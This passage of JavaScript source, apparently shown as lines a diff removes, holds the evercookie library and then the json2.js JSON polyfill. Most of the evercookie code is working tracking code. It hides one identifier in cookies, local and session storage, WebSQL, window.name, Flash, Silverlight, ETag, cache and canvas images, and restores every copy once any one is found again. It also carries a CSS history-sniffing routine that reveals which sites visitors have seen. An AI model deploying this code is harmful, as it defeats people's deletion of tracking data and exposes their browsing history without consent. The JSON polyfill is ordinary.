- * - http etags
- * - http cache
- * - window.name
- * - IE userData
- * - html5 session cookies
- * - html5 local storage
- * - html5 global storage
- * - html5 database storage via sqlite
- * - css history scanning
- *
- * if any cookie is found, it's then reset to all the other locations
- * for example, if someone deletes all but one type of cookie, once
- * that cookie is re-discovered, all of the other cookie types get reset
- *
- * !!! SOME OF THESE ARE CROSS-DOMAIN COOKIES, THIS MEANS
- * OTHER SITES WILL BE ABLE TO READ SOME OF THESE COOKIES !!!
- *
- * USAGE:
- var ec = new evercookie();
- // set a cookie "id" to "12345"
- // usage: ec.set(key, value)
- ec.set("id", "12345");
- // retrieve a cookie called "id" (simply)
- ec.get("id", function(value) { alert("Cookie value is " + value) });
- // or use a more advanced callback function for getting our cookie
- // the cookie value is the first param
- // an object containing the different storage methods
- // and returned cookie values is the second parameter
- function getCookie(best_candidate, all_candidates)
- {
- alert("The retrieved cookie is: " + best_candidate + "\n" +
- "You can see what each storage mechanism returned " +
- "by looping through the all_candidates object.");
- for (var item in all_candidates)
- document.write("Storage mechanism " + item +
- " returned " + all_candidates[item] + " votes<br>");
- }
- ec.get("id", getCookie);
- // we look for "candidates" based off the number of "cookies" that
- // come back matching since it's possible for mismatching cookies.
- // the best candidate is very-very-likely the correct one
- */
- /* to turn off CSS history knocking, set _ec_history to 0 */
- var _ec_history = 1; // CSS history knocking or not .. can be network intensive
- var _ec_tests = 10;//1000;
- var _ec_debug = 0;
- function _ec_dump(arr, level)
- {
- var dumped_text = "";
- if(!level) level = 0;
- //The padding given at the beginning of the line.
- var level_padding = "";
- for(var j=0;j<level+1;j++) level_padding += " ";
- if(typeof(arr) == 'object') { //Array/Hashes/Objects
- for(var item in arr) {
- var value = arr[item];
- if(typeof(value) == 'object') { //If it is an array,
- dumped_text += level_padding + "'" + item + "' ...\n";
- dumped_text += _ec_dump(value,level+1);
- } else {
- dumped_text += level_padding + "'" + item + "' => \"" + value + "\"\n";
- }
- }
- } else { //Stings/Chars/Numbers etc.
- dumped_text = "===>"+arr+"<===("+typeof(arr)+")";
- }
- return dumped_text;
- }
- function _ec_replace(str, key, value)
- {
- if (str.indexOf('&' + key + '=') > -1 || str.indexOf(key + '=') == 0)
- {
- // find start
- var idx = str.indexOf('&' + key + '=');
- if (idx == -1)
- idx = str.indexOf(key + '=');
- // find end
- var end = str.indexOf('&', idx + 1);
- var newstr;
- if (end != -1)
- newstr = str.substr(0, idx) + str.substr(end + (idx ? 0 : 1)) + '&' + key + '=' + value;
- else
- newstr = str.substr(0, idx) + '&' + key + '=' + value;
- return newstr;
- }
- else
- return str + '&' + key + '=' + value;
- }
- // necessary for flash to communicate with js...
- // please implement a better way
- var _global_lso;
- function _evercookie_flash_var(cookie)
- {
- _global_lso = cookie;
- // remove the flash object now
- var swf = $('#myswf');
- if (swf && swf.parentNode)
- swf.parentNode.removeChild(swf);
- }
- var evercookie = (function () {
- this._class = function() {
- var self = this;
- // private property
- _baseKeyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
- this._ec = {};
- var no_color = -1;
- this.get = function(name, cb, dont_reset)
- {
- $(document).ready(function() {
- self._evercookie(name, cb, undefined, undefined, dont_reset);
- });
- };
- this.set = function(name, value)
- {
- $(document).ready(function() {
- self._evercookie(name, function() { }, value);
- });
- };
- this._evercookie = function(name, cb, value, i, dont_reset)
- {
- if (typeof self._evercookie == 'undefined')
- self = this;
- if (typeof i == 'undefined')
- i = 0;
- // first run
- if (i == 0)
- {
- self.evercookie_database_storage(name, value);
- self.evercookie_png(name, value);
- self.evercookie_etag(name, value);
- self.evercookie_cache(name, value);
- self.evercookie_lso(name, value);
- self.evercookie_silverlight(name, value);
- self._ec.userData = self.evercookie_userdata(name, value);
- self._ec.cookieData = self.evercookie_cookie(name, value);
- self._ec.localData = self.evercookie_local_storage(name, value);
- self._ec.globalData = self.evercookie_global_storage(name, value);
- self._ec.sessionData = self.evercookie_session_storage(name, value);
- self._ec.windowData = self.evercookie_window(name, value);
- if (_ec_history)
- self._ec.historyData = self.evercookie_history(name, value);
- }
- // when writing data, we need to make sure lso and silverlight object is there
- if (typeof value != 'undefined')
- {
- if (
- (
- (typeof _global_lso == 'undefined') ||
- (typeof _global_isolated == 'undefined')
- )
- && i++ < _ec_tests
- )
- setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
- }
- // when reading data, we need to wait for swf, db, silverlight and png
- else
- {
- if (
- (
- // we support local db and haven't read data in yet
- (window.openDatabase && typeof self._ec.dbData == 'undefined') ||
- (typeof _global_lso == 'undefined') ||
- (typeof self._ec.etagData == 'undefined') ||
- (typeof self._ec.cacheData == 'undefined') ||
- (document.createElement('canvas').getContext && (typeof self._ec.pngData == 'undefined' || self._ec.pngData == '')) ||
- (typeof _global_isolated == 'undefined')
- )
- &&
- i++ < _ec_tests
- )
- {
- setTimeout(function() { self._evercookie(name, cb, value, i, dont_reset) }, 300);
- }
- // we hit our max wait time or got all our data
- else
- {
- // get just the piece of data we need from swf
- self._ec.lsoData = self.getFromStr(name, _global_lso);
- _global_lso = undefined;
- // get just the piece of data we need from silverlight
- self._ec.slData = self.getFromStr(name, _global_isolated);
- _global_isolated = undefined;
- var tmpec = self._ec;
- self._ec = {};
- // figure out which is the best candidate
- var candidates = new Array();
- var bestnum = 0;
- var candidate;
- for (var item in tmpec)
- {
- if (typeof tmpec[item] != 'undefined' && typeof tmpec[item] != 'null' && tmpec[item] != '' &&
- tmpec[item] != 'null' && tmpec[item] != 'undefined' && tmpec[item] != null)
- {
- candidates[tmpec[item]] = typeof candidates[tmpec[item]] == 'undefined' ? 1 : candidates[tmpec[item]] + 1;
- }
- }
- for (var item in candidates)
- {
- if (candidates[item] > bestnum)
- {
- bestnum = candidates[item];
- candidate = item;
- }
- }
- // reset cookie everywhere
- if (typeof dont_reset == "undefined" || dont_reset != 1)
- self.set(name, candidate);
- if (typeof cb == 'function')
- cb(candidate, tmpec);
- }
- }
- };
- this.evercookie_window = function(name, value)
- {
- try {
- if (typeof(value) != "undefined")
- window.name = _ec_replace(window.name, name, value);
- else
- return this.getFromStr(name, window.name);
- } catch(e) { }
- };
- this.evercookie_userdata = function(name, value)
- {
- try {
- var elm = this.createElem('div', 'userdata_el', 1);
- elm.style.behavior = "url(#default#userData)";
- if (typeof(value) != "undefined")
- {
- elm.setAttribute(name, value);
- elm.save(name);
- }
- else
- {
- elm.load(name);
- return elm.getAttribute(name);
- }
- } catch(e) { }
- };
- this.evercookie_cache = function(name, value)
- {
- if (typeof(value) != "undefined")
- {
- // make sure we have evercookie session defined first
- document.cookie = 'evercookie_cache=' + value;
- // evercookie_cache.php handles caching
- var img = new Image();
- img.style.visibility = 'hidden';
- img.style.position = 'absolute';
- img.src = 'evercookie_cache.php?name=' + name;
- }
- else
- {
- // interestingly enough, we want to erase our evercookie
- // http cookie so the php will force a cached response
- var origvalue = this.getFromStr('evercookie_cache', document.cookie);
- self._ec.cacheData = undefined;
- document.cookie = 'evercookie_cache=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
- $.ajax({
- url: 'evercookie_cache.php?name=' + name,
- success: function(data) {
- // put our cookie back
- document.cookie = 'evercookie_cache=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
- self._ec.cacheData = data;
- }
- });
- }
- };
- this.evercookie_etag = function(name, value)
- {
- if (typeof(value) != "undefined")
- {
- // make sure we have evercookie session defined first
- document.cookie = 'evercookie_etag=' + value;
- // evercookie_etag.php handles etagging
- var img = new Image();
- img.style.visibility = 'hidden';
- img.style.position = 'absolute';
- img.src = 'evercookie_etag.php?name=' + name;
- }
- else
- {
- // interestingly enough, we want to erase our evercookie
- // http cookie so the php will force a cached response
- var origvalue = this.getFromStr('evercookie_etag', document.cookie);
- self._ec.etagData = undefined;
- document.cookie = 'evercookie_etag=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
- $.ajax({
- url: 'evercookie_etag.php?name=' + name,
- success: function(data) {
- // put our cookie back
- document.cookie = 'evercookie_etag=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
- self._ec.etagData = data;
- }
- });
- }
- };
- this.evercookie_lso = function(name, value)
- {
- var div = document.getElementById('swfcontainer');
- if (!div)
- {
- div = document.createElement("div");
- div.setAttribute('id', 'swfcontainer');
- document.body.appendChild(div);
- }
- var flashvars = {};
- if (typeof value != 'undefined')
- flashvars.everdata = name + '=' + value;
- var params = {};
- params.swliveconnect = "true";
- var attributes = {};
- attributes.id = "myswf";
- attributes.name = "myswf";
- swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
- };
- this.evercookie_png = function(name, value)
- {
- if (document.createElement('canvas').getContext)
- {
- if (typeof(value) != "undefined")
- {
- // make sure we have evercookie session defined first
- document.cookie = 'evercookie_png=' + value;
- // evercookie_png.php handles the hard part of generating the image
- // based off of the http cookie and returning it cached
- var img = new Image();
- img.style.visibility = 'hidden';
- img.style.position = 'absolute';
- img.src = 'evercookie_png.php?name=' + name;
- }
- else
- {
- self._ec.pngData = undefined;
- var context = document.createElement('canvas');
- context.style.visibility = 'hidden';
- context.style.position = 'absolute';
- context.width = 200;
- context.height = 1;
- var ctx = context.getContext('2d');
- // interestingly enough, we want to erase our evercookie
- // http cookie so the php will force a cached response
- var origvalue = this.getFromStr('evercookie_png', document.cookie);
- document.cookie = 'evercookie_png=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
- var img = new Image();
- img.style.visibility = 'hidden';
- img.style.position = 'absolute';
- img.src = 'evercookie_png.php?name=' + name;
- img.onload = function()
- {
- // put our cookie back
- document.cookie = 'evercookie_png=' + origvalue + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
- self._ec.pngData = '';
- ctx.drawImage(img,0,0);
- // get CanvasPixelArray from given coordinates and dimensions
- var imgd = ctx.getImageData(0, 0, 200, 1);
- var pix = imgd.data;
- // loop over each pixel to get the "RGB" values (ignore alpha)
- for (var i = 0, n = pix.length; i < n; i += 4)
- {
- if (pix[i ] == 0) break;
- self._ec.pngData += String.fromCharCode(pix[i]);
- if (pix[i+1] == 0) break;
- self._ec.pngData += String.fromCharCode(pix[i+1]);
- if (pix[i+2] == 0) break;
- self._ec.pngData += String.fromCharCode(pix[i+2]);
- }
- }
- }
- }
- };
- this.evercookie_local_storage = function(name, value)
- {
- try
- {
- if (window.localStorage)
- {
- if (typeof(value) != "undefined")
- localStorage.setItem(name, value);
- else
- return localStorage.getItem(name);
- }
- }
- catch (e) { }
- };
- this.evercookie_database_storage = function(name, value)
- {
- try
- {
- if (window.openDatabase)
- {
- var database = window.openDatabase("sqlite_evercookie", "", "evercookie", 1024 * 1024);
- if (typeof(value) != "undefined")
- database.transaction(function(tx)
- {
- tx.executeSql("CREATE TABLE IF NOT EXISTS cache(" +
- "id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, " +
- "name TEXT NOT NULL, " +
- "value TEXT NOT NULL, " +
- "UNIQUE (name)" +
- ")", [], function (tx, rs) { }, function (tx, err) { });
- tx.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [name, value],
- function (tx, rs) { }, function (tx, err) { })
- });
- else
- {
- database.transaction(function(tx)
- {
- tx.executeSql("SELECT value FROM cache WHERE name=?", [name],
- function(tx, result1) {
- if (result1.rows.length >= 1)
- self._ec.dbData = result1.rows.item(0)['value'];
- else
- self._ec.dbData = '';
- }, function (tx, err) { })
- });
- }
- }
- } catch(e) { }
- };
- this.evercookie_session_storage = function(name, value)
- {
- try
- {
- if (window.sessionStorage)
- {
- if (typeof(value) != "undefined")
- sessionStorage.setItem(name, value);
- else
- return sessionStorage.getItem(name);
- }
- } catch(e) { }
- };
- this.evercookie_global_storage = function(name, value)
- {
- if (window.globalStorage)
- {
- var host = this.getHost();
- try
- {
- if (typeof(value) != "undefined")
- eval("globalStorage[host]." + name + " = value");
- else
- return eval("globalStorage[host]." + name);
- } catch(e) { }
- }
- };
- this.evercookie_silverlight = function(name, value) {
- /*
- * Create silverlight embed
- *
- * Ok. so, I tried doing this the proper dom way, but IE chokes on appending anything in object tags (including params), so this
- * is the best method I found. Someone really needs to find a less hack-ish way. I hate the look of this shit.
- */
- var source = "evercookie.xap";
- var minver = "4.0.50401.0";
- var initParam = "";
- if(typeof(value) != "undefined")
- initParam = '<param name="initParams" value="'+name+'='+value+'" />';
- var html =
- '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" id="mysilverlight" width="0" height="0">' +
- initParam +
- '<param name="source" value="'+source+'"/>' +
- '<param name="onLoad" value="onSilverlightLoad"/>' +
- '<param name="onError" value="onSilverlightError"/>' +
- '<param name="background" value="Transparent"/>' +
- '<param name="windowless" value="true"/>' +
- '<param name="minRuntimeVersion" value="'+minver+'"/>' +
- '<param name="autoUpgrade" value="true"/>' +
- '<a href="http://go.microsoft.com/fwlink/?LinkID=149156&v='+minver+'" style="text-decoration:none">' +
- '<img src="http://go.microsoft.com/fwlink/?LinkId=108181" alt="Get Microsoft Silverlight" style="border-style:none"/>' +
- '</a>' +
- '</object>';
- document.body.innerHTML+=html;
- };
- // public method for encoding
- this.encode = function (input) {
- var output = "";
- var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
- var i = 0;
- input = this._utf8_encode(input);
- while (i < input.length) {
- chr1 = input.charCodeAt(i++);
- chr2 = input.charCodeAt(i++);
- chr3 = input.charCodeAt(i++);
- enc1 = chr1 >> 2;
- enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
- enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
- enc4 = chr3 & 63;
- if (isNaN(chr2)) {
- enc3 = enc4 = 64;
- } else if (isNaN(chr3)) {
- enc4 = 64;
- }
- output = output +
- _baseKeyStr.charAt(enc1) + _baseKeyStr.charAt(enc2) +
- _baseKeyStr.charAt(enc3) + _baseKeyStr.charAt(enc4);
- }
- return output;
- };
- // public method for decoding
- this.decode = function (input) {
- var output = "";
- var chr1, chr2, chr3;
- var enc1, enc2, enc3, enc4;
- var i = 0;
- input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
- while (i < input.length) {
- enc1 = _baseKeyStr.indexOf(input.charAt(i++));
- enc2 = _baseKeyStr.indexOf(input.charAt(i++));
- enc3 = _baseKeyStr.indexOf(input.charAt(i++));
- enc4 = _baseKeyStr.indexOf(input.charAt(i++));
- chr1 = (enc1 << 2) | (enc2 >> 4);
- chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
- chr3 = ((enc3 & 3) << 6) | enc4;
- output = output + String.fromCharCode(chr1);
- if (enc3 != 64) {
- output = output + String.fromCharCode(chr2);
- }
- if (enc4 != 64) {
- output = output + String.fromCharCode(chr3);
- }
- }
- output = this._utf8_decode(output);
- return output;
- };
- // private method for UTF-8 encoding
- this._utf8_encode = function (string) {
- string = string.replace(/\r\n/g,"\n");
- var utftext = "";
- for (var n = 0; n < string.length; n++) {
- var c = string.charCodeAt(n);
- if (c < 128) {
- utftext += String.fromCharCode(c);
- }
- else if((c > 127) && (c < 2048)) {
- utftext += String.fromCharCode((c >> 6) | 192);
- utftext += String.fromCharCode((c & 63) | 128);
- }
- else {
- utftext += String.fromCharCode((c >> 12) | 224);
- utftext += String.fromCharCode(((c >> 6) & 63) | 128);
- utftext += String.fromCharCode((c & 63) | 128);
- }
- }
- return utftext;
- };
- // private method for UTF-8 decoding
- this._utf8_decode = function (utftext) {
- var string = "";
- var i = 0;
- var c = c1 = c2 = 0;
- while ( i < utftext.length ) {
- c = utftext.charCodeAt(i);
- if (c < 128) {
- string += String.fromCharCode(c);
- i++;
- }
- else if((c > 191) && (c < 224)) {
- c2 = utftext.charCodeAt(i+1);
- string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
- i += 2;
- }
- else {
- c2 = utftext.charCodeAt(i+1);
- c3 = utftext.charCodeAt(i+2);
- string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
- i += 3;
- }
- }
- return string;
- };
- // this is crazy but it's 4am in dublin and i thought this would be hilarious
- // blame the guinness
- this.evercookie_history = function(name, value)
- {
- // - is special
- var baseStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-";
- var baseElems = baseStr.split("");
- // sorry google.
- var url = 'http://www.google.com/evercookie/cache/' + this.getHost() + '/' + name;
- if (typeof(value) != "undefined")
- {
- // don't reset this if we already have it set once
- // too much data and you can't clear previous values
- if (this.hasVisited(url))
- return;
- this.createIframe(url, 'if');
- url = url + '/';
- var base = this.encode(value).split("");
- for (var i = 0; i < base.length; i++)
- {
- url = url + base[i];
- this.createIframe(url, 'if' + i);
- }
- // - signifies the end of our data
- url = url + '-';
- this.createIframe(url, 'if_');
- }
- else
- {
- // omg you got csspwn3d
- if (this.hasVisited(url))
- {
- url = url + '/';
- var letter = "";
- var val = "";
- var found = 1;
- while (letter != '-' && found == 1)
- {
- found = 0;
- for (var i = 0; i < baseElems.length; i++)
- {
- if (this.hasVisited(url + baseElems[i]))
- {
- letter = baseElems[i];
- if (letter != '-')
- val = val + letter;
- url = url + letter;
- found = 1;
- break;
- }
- }
- }
- // lolz
- return this.decode(val);
- }
- }
- };
- this.createElem = function(type, name, append)
- {
- var el;
- if (typeof name != 'undefined' && document.getElementById(name))
- el = document.getElementById(name);
- else
- el = document.createElement(type);
- el.style.visibility = 'hidden';
- el.style.position = 'absolute';
- if (name)
- el.setAttribute('id', name);
- if (append)
- document.body.appendChild(el);
- return el;
- };
- this.createIframe = function(url, name)
- {
- var el = this.createElem('iframe', name, 1);
- el.setAttribute('src', url);
- return el;
- };
- // wait for our swfobject to appear (swfobject.js to load)
- this.waitForSwf = function(i)
- {
- if (typeof i == 'undefined')
- i = 0;
- else
- i++;
- // wait for ~2 seconds for swfobject to appear
- if (i < _ec_tests && typeof swfobject == 'undefined')
- setTimeout(function() { waitForSwf(i) }, 300);
- };
- this.evercookie_cookie = function(name, value)
- {
- try{
- if (typeof(value) != "undefined")
- {
- // expire the cookie first
- document.cookie = name + '=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/';
- document.cookie = name + '=' + value + '; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/';
- }
- else
- return this.getFromStr(name, document.cookie);
- }catch(e){
- // the hooked domain is using HttpOnly, so we must set the hook ID in a different way.
- // evercookie_userdata and evercookie_window will be used in this case.
- }
- };
- // get value from param-like string (eg, "x=y&name=VALUE")
- this.getFromStr = function(name, text)
- {
- if (typeof text != 'string')
- return;
- var nameEQ = name + "=";
- var ca = text.split(/[;&]/);
- for (var i = 0; i < ca.length; i++)
- {
- var c = ca[i];
- while (c.charAt(0) == ' ')
- c = c.substring(1, c.length);
- if (c.indexOf(nameEQ) == 0)
- return c.substring(nameEQ.length, c.length);
- }
- };
- this.getHost = function()
- {
- var domain = document.location.host;
- if (domain.indexOf('www.') == 0)
- domain = domain.replace('www.', '');
- return domain;
- };
- this.toHex = function(str)
- {
- var r = "";
- var e = str.length;
- var c = 0;
- var h;
- while (c < e)
- {
- h = str.charCodeAt(c++).toString(16);
- while (h.length < 2)
- h = "0" + h;
- r += h;
- }
- return r;
- };
- this.fromHex = function(str)
- {
- var r = "";
- var e = str.length;
- var s;
- while (e >= 0)
- {
- s = e - 2;
- r = String.fromCharCode("0x" + str.substring(s, e)) + r;
- e = s;
- }
- return r;
- };
- /*
- * css history knocker (determine what sites your visitors have been to)
- *
- * originally by Jeremiah Grossman
- * http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
- *
- * ported to additional browsers by Samy Kamkar
- *
- * compatible with ie6, ie7, ie8, ff1.5, ff2, ff3, opera, safari, chrome, flock
- *
- * - code@samy.pl
- */
- this.hasVisited = function(url)
- {
- if (this.no_color == -1)
- {
- var no_style = this._getRGB("http://samy-was-here-this-should-never-be-visited.com", -1);
- if (no_style == -1)
- this.no_color =
- this._getRGB("http://samy-was-here-"+Math.floor(Math.random()*9999999)+"rand.com");
- }
- // did we give full url?
- if (url.indexOf('https:') == 0 || url.indexOf('http:') == 0)
- return this._testURL(url, this.no_color);
- // if not, just test a few diff types if (exact)
- return this._testURL("http://" + url, this.no_color) ||
- this._testURL("https://" + url, this.no_color) ||
- this._testURL("http://www." + url, this.no_color) ||
- this._testURL("https://www." + url, this.no_color);
- };
- /* create our anchor tag */
- var _link = this.createElem('a', '_ec_rgb_link');
- /* for monitoring */
- var created_style;
- /* create a custom style tag for the specific link. Set the CSS visited selector to a known value */
- var _cssText = '#_ec_rgb_link:visited{display:none;color:#FF0000}';
- /* Methods for IE6, IE7, FF, Opera, and Safari */
- try {
- created_style = 1;
- var style = document.createElement('style');
- if (style.styleSheet)
- style.styleSheet.innerHTML = _cssText;
- else if (style.innerHTML)
- style.innerHTML = _cssText;
- else
- {
- var cssT = document.createTextNode(_cssText);
- style.appendChild(cssT);
- }
- } catch (e) {
- created_style = 0;
- }
- /* if test_color, return -1 if we can't set a style */
- this._getRGB = function (u, test_color) {
- if (test_color && created_style == 0)
- return -1;
- /* create the new anchor tag with the appropriate URL information */
- _link.href = u;
- _link.innerHTML = u;
- // not sure why, but the next two appendChilds always have to happen vs just once
- document.body.appendChild(style);
- document.body.appendChild(_link);
- /* add the link to the DOM and save the visible computed color */
- var color;
- if (document.defaultView)
- color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
- else
- color = _link.currentStyle['color'];
- return color;
- };
- this._testURL = function(url, no_color){
- var color = this._getRGB(url);
- /* check to see if the link has been visited if the computed color is red */
- if (color == "rgb(255, 0, 0)" || color == "#ff0000")
- return 1;
- /* if our style trick didn't work, just compare default style colors */
- else if (no_color && color != no_color)
- return 1;
- /* not found */
- return 0;
- }
- };
- return _class;
- })();
- /*
- * Again, ugly workaround....same problem as flash.
- */
- var _global_isolated;
- function onSilverlightLoad(sender, args) {
- var control = sender.getHost();
- _global_isolated = control.Content.App.getIsolatedStorage();
- }
- /*
- function onSilverlightError(sender, args) {
- _global_isolated = "";
- }*/
- function onSilverlightError(sender, args) {
- _global_isolated = "";
- }
- /*
- https://github.com/douglascrockford/JSON-js/blob/master/json2.js
- 2011-02-23
- // Create a JSON object only if one does not already exist. We create the
- // methods in a closure to avoid creating global variables.
- */
- var JSON;
- if (!JSON) {
- JSON = {};
- }
- (function () {
- "use strict";
- function f(n) {
- // Format integers to have at least two digits.
- return n < 10 ? '0' + n : n;
- }
- if (typeof Date.prototype.toJSON !== 'function') {
- Date.prototype.toJSON = function (key) {
- return isFinite(this.valueOf()) ?
- this.getUTCFullYear() + '-' +
- f(this.getUTCMonth() + 1) + '-' +
- f(this.getUTCDate()) + 'T' +
- f(this.getUTCHours()) + ':' +
- f(this.getUTCMinutes()) + ':' +
- f(this.getUTCSeconds()) + 'Z' : null;
- };
- String.prototype.toJSON =
- Number.prototype.toJSON =
- Boolean.prototype.toJSON = function (key) {
- return this.valueOf();
- };
- }
- var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
- escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
- gap,
- indent,
- meta = { // table of character substitutions
- '\b': '\\b',
- '\t': '\\t',
- '\n': '\\n',
- '\f': '\\f',
- '\r': '\\r',
- '"' : '\\"',
- '\\': '\\\\'
- },
- rep;
- function quote(string) {
- // If the string contains no control characters, no quote characters, and no
- // backslash characters, then we can safely slap some quotes around it.
- // Otherwise we must also replace the offending characters with safe escape
- // sequences.
- escapable.lastIndex = 0;
- return escapable.test(string) ? '"' + string.replace(escapable, function (a) {
- var c = meta[a];
- return typeof c === 'string' ? c :
- '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
- }) + '"' : '"' + string + '"';
- }
- function str(key, holder) {
- // Produce a string from holder[key].
- var i, // The loop counter.
- k, // The member key.
- v, // The member value.
- length,
- mind = gap,
- partial,
- value = holder[key];
- // If the value has a toJSON method, call it to obtain a replacement value.
- if (value && typeof value === 'object' &&
- typeof value.toJSON === 'function') {
- value = value.toJSON(key);
- }
- // If we were called with a replacer function, then call the replacer to
- // obtain a replacement value.
- if (typeof rep === 'function') {
- value = rep.call(holder, key, value);
- }
- // What happens next depends on the value's type.
- switch (typeof value) {
- case 'string':
- return quote(value);
- case 'number':
- // JSON numbers must be finite. Encode non-finite numbers as null.
- return isFinite(value) ? String(value) : 'null';
- case 'boolean':
- case 'null':
- // If the value is a boolean or null, convert it to a string. Note:
- // typeof null does not produce 'null'. The case is included here in
- // the remote chance that this gets fixed someday.
- return String(value);
- // If the type is 'object', we might be dealing with an object or an array or
- // null.
- case 'object':
- // Due to a specification blunder in ECMAScript, typeof null is 'object',
- // so watch out for that case.
- if (!value) {
- return 'null';
- }
- // Make an array to hold the partial results of stringifying this object value.
- gap += indent;
- partial = [];
- // Is the value an array?
- if (Object.prototype.toString.apply(value) === '[object Array]') {
- // The value is an array. Stringify every element. Use null as a placeholder
- // for non-JSON values.
- length = value.length;
- for (i = 0; i < length; i += 1) {
- partial[i] = str(i, value) || 'null';
- }
- // Join all of the elements together, separated with commas, and wrap them in
- // brackets.
- v = partial.length === 0 ? '[]' : gap ?
- '[\n' + gap + partial.join(',\n' + gap) + '\n' + mind + ']' :
- '[' + partial.join(',') + ']';
- gap = mind;
- return v;
- }
- // If the replacer is an array, use it to select the members to be stringified.
- if (rep && typeof rep === 'object') {
- length = rep.length;
- for (i = 0; i < length; i += 1) {
- if (typeof rep[i] === 'string') {
- k = rep[i];
- v = str(k, value);
- if (v) {
- partial.push(quote(k) + (gap ? ': ' : ':') + v);
- }
- }
- }
- } else {
- // Otherwise, iterate through all of the keys in the object.
- for (k in value) {
- if (Object.prototype.hasOwnProperty.call(value, k)) {
- v = str(k, value);
- if (v) {
- partial.push(quote(k) + (gap ? ': ' : ':') + v);
- }
- }
- }
- }
- // Join all of the member texts together, separated with commas,
- // and wrap them in braces.
- v = partial.length === 0 ? '{}' : gap ?
- '{\n' + gap + partial.join(',\n' + gap) + '\n' + mind + '}' :
- '{' + partial.join(',') + '}';
- gap = mind;
- return v;
- }
- }
- // If the JSON object does not yet have a stringify method, give it one.
- if (typeof JSON.stringify !== 'function') {
- JSON.stringify = function (value, replacer, space) {
- // The stringify method takes a value and an optional replacer, and an optional
- // space parameter, and returns a JSON text. The replacer can be a function
- // that can replace values, or an array of strings that will select the keys.
- // A default replacer method can be provided. Use of the space parameter can
- // produce text that is more easily readable.
- var i;
- gap = '';
- indent = '';
- // If the space parameter is a number, make an indent string containing that
- // many spaces.
- if (typeof space === 'number') {
- for (i = 0; i < space; i += 1) {
- indent += ' ';
- }
- // If the space parameter is a string, it will be used as the indent string.
- } else if (typeof space === 'string') {
- indent = space;
- }
- // If there is a replacer, it must be a function or an array.
- // Otherwise, throw an error.
- rep = replacer;
- if (replacer && typeof replacer !== 'function' &&
- (typeof replacer !== 'object' ||
- typeof replacer.length !== 'number')) {
- throw new Error('JSON.stringify');
- }
- // Make a fake root object containing our value under the key of ''.
- // Return the result of stringifying the value.
- return str('', {'': value});
- };
- }
- // If the JSON object does not yet have a parse method, give it one.
- if (typeof JSON.parse !== 'function') {
- JSON.parse = function (text, reviver) {
- // The parse method takes a text and an optional reviver function, and returns
- // a JavaScript value if the text is a valid JSON text.
- var j;
- function walk(holder, key) {
- // The walk method is used to recursively walk the resulting structure so
- // that modifications can be made.
- var k, v, value = holder[key];
- if (value && typeof value === 'object') {
- for (k in value) {
- if (Object.prototype.hasOwnProperty.call(value, k)) {
- v = walk(value, k);
- if (v !== undefined) {
- value[k] = v;
- } else {
- delete value[k];
- }
- }
- }
- }
- return reviver.call(holder, key, value);
- }
- // Parsing happens in four stages. In the first stage, we replace certain
- // Unicode characters with escape sequences. JavaScript handles many characters
- // incorrectly, either silently deleting them, or treating them as line endings.
- text = String(text);
- cx.lastIndex = 0;
- if (cx.test(text)) {
- text = text.replace(cx, function (a) {
- return '\\u' +
- ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
- });
- }
- // In the second stage, we run the text against regular expressions that look
- // for non-JSON patterns. We are especially concerned with '()' and 'new'
- // because they can cause invocation, and '=' because it can cause mutation.
- // But just to be safe, we want to reject all unexpected forms.
- // We split the second stage into 4 regexp operations in order to work around
- // crippling inefficiencies in IE's and Safari's regexp engines. First we
- // replace the JSON backslash pairs with '@' (a non-JSON character). Second, we
- // replace all simple value tokens with ']' characters. Third, we delete all
- // open brackets that follow a colon or comma or that begin the text. Finally,
- // we look to see that the remaining characters are only whitespace or ']' or
- // ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.
- if (/^[\],:{}\s]*$/
- .test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')
- .replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']')
- .replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) {
- // In the third stage we use the eval function to compile the text into a
- // JavaScript structure. The '{' operator is subject to a syntactic ambiguity
- // in JavaScript: it can begin a block or an object literal. We wrap the text
- // in parens to eliminate the ambiguity.
- j = eval('(' + text + ')');
- // In the optional fourth stage, we recursively walk the new structure, passing
- // each name/value pair to a reviver function for possible transformation.
- return typeof reviver === 'function' ?
- walk({'': j}, '') : j;
- }
- // If the text is not JSON parseable, then a SyntaxError is thrown.
- throw new SyntaxError('JSON.parse');
- };
- }
- }());
